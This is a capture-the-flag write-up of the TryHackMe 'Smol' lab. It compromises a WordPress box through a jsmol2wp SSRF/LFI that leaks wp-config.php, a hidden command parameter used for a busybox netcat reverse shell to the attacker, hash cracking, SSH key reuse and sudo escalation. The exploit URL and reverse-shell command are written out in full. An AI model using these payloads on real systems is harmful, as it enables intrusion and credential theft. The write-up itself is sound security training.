TryHackMe — Smol

Overview

This room demonstrates the exploitation of a WordPress vulnerability combined with Local File Inclusion (LFI) and privilege escalation techniques.

The objective is to gain access to the system and escalate privileges to obtain the flags.

The attack process includes:

1. Enumeration
2. Vulnerability identification
3. Initial access
4. Credential extraction
5. Lateral movement
6. Privilege escalation

Enumeration

First we perform a port scan using Nmap.

nmap -vv <TARGET IP>

Result of Nmap Scan

The scan shows that two ports are open: SSH and HTTP. This indicates that a website is running on port 80.When trying to access the website, it does not resolve properly. Therefore, we add the domain to the hosts file.

echo "<target ip>  www.smol.thm" >> /etc/hosts

Homepage

After loading the webpage, the source code was inspected, but nothing useful was found.

Next, the technologies used by the website were analyzed using Wappalyzer. The site was found to be running:

• WordPress 6.7.1
• MySQL
• PHP

Directory Enumeration

gobuster dir -u http://www.smol.thm/ -w /usr/share/dirb/wordlists/common.txt

During the scan, the WordPress admin login page was discovered.

wp-admin page

Since we do not have any credentials, we perform a WordPress vulnerability scan using WPScan.

wpscan --url http://www.smol.thm/

The scan revealed a plugin named jsmol2wp.Adding the option -e u to the command enumerates usernames.

WP-Scan Result

Vulnerability Identification

After researching the plugin, the following vulnerability was found:

https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611/

The jsmol2wp plugin contains an SSRF vulnerability, which can be abused to achieve Local File Inclusion (LFI).Using the Proof of Concept (PoC) provided on the website, the vulnerability was exploited.

http://www.smol.thm:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

wp-config.php containing username and password

WordPress Admin Access

Using the retrieved credentials, we can log in to the WordPress admin panel.

After logging in, the WordPress dashboard becomes accessible.While exploring the dashboard, we discover a private page.

Further Investigation

The private page references another plugin called Hello Dolly.

After analyzing the plugin’s GitHub repository, an attempt was made to locate the hello.php file using the previously discovered LFI vulnerability.After several attempts, the file was successfully retrieved.

Inside the file, a Base64 encoded string was found.The string was decoded using CyberChef and ChatGPT.

The decoded message revealed that there is a hidden command execution feature within a URL parameter.

Gaining a Reverse Shell

Using this information, a reverse shell was executed via the browser.

http://www.smol.thm/wp-admin/edit.php?cmd=busybox nc <ATTACK MACHINE IP> 1234 -e bash

A listener was started on the attacker machine, and the reverse shell was successfully obtained.

The shell was obtained as the www-data user.

Database Enumeration

After gaining shell access, the system files were inspected but nothing useful was found initially.Since the website uses MySQL, an attempt was made to access the database.

mysql -u wpuser -p

After successfully connecting to MySQL, several databases were found.

MySQL Commands:

show databases;

use wordpress;

show tables;

select * from wp_users;

The wordpress database was inspected, and the wp_users table contained hashed passwords and usernames.

One user named diego appeared to be associated with the system.

The password hash for this user was extracted for cracking.

Password Cracking

After analyzing the hash, it was identified as a PHPass hash.The hash was cracked using John the Ripper.After successfully cracking the hash, the plaintext password was obtained.

This password allowed login to the system as diego

User Flag

After logging in as diego, the system files were inspected.The user.txt flag was located and retrieved.

Lateral Movement

Inside the directory:

/home/think/.ssh

An id_rsa private key was discovered.

ssh think@www.smol.thm -i id_rsa

Using this key, access was obtained to the think user account.Further enumeration eventually allowed access to another user account named gege.

su gege

Password-Protected Backup

The gege user directory contained a file named:

wordpress.old.zip

A Python HTTP server was started to download the file to the attacker machine.

python -m http.server 4444

However, the ZIP file was password protected.To crack the password, zip2john was used to extract a hash compatible with John the Ripper.

zip2john wordpress.old.zip > hash

After cracking the hash, the ZIP password was obtained and the archive was extracted.

Credential Discovery

Using these credentials, we logged into the system as xavi.

su xavi

Privilege Escalation

To check which commands the current user can run with sudo privileges, the following command was executed:

sudo -l

It was discovered that all commands can be executed with sudo privileges.

This means full root access can be obtained easily, allowing privilege escalation to root.

sudo cat /root/root.txt

Lessons Learned

This room demonstrated how small misconfigurations can lead to full system compromise.

Important takeaways include:

• Always keep WordPress plugins updated.
• Sensitive files like wp-config.php should never be accessible through LFI.
• Backup files should not be stored in web-accessible directories.
• Password-protected archives can still be cracked if weak passwords are used.
• Misconfigured sudo permissions can easily lead to full system compromise.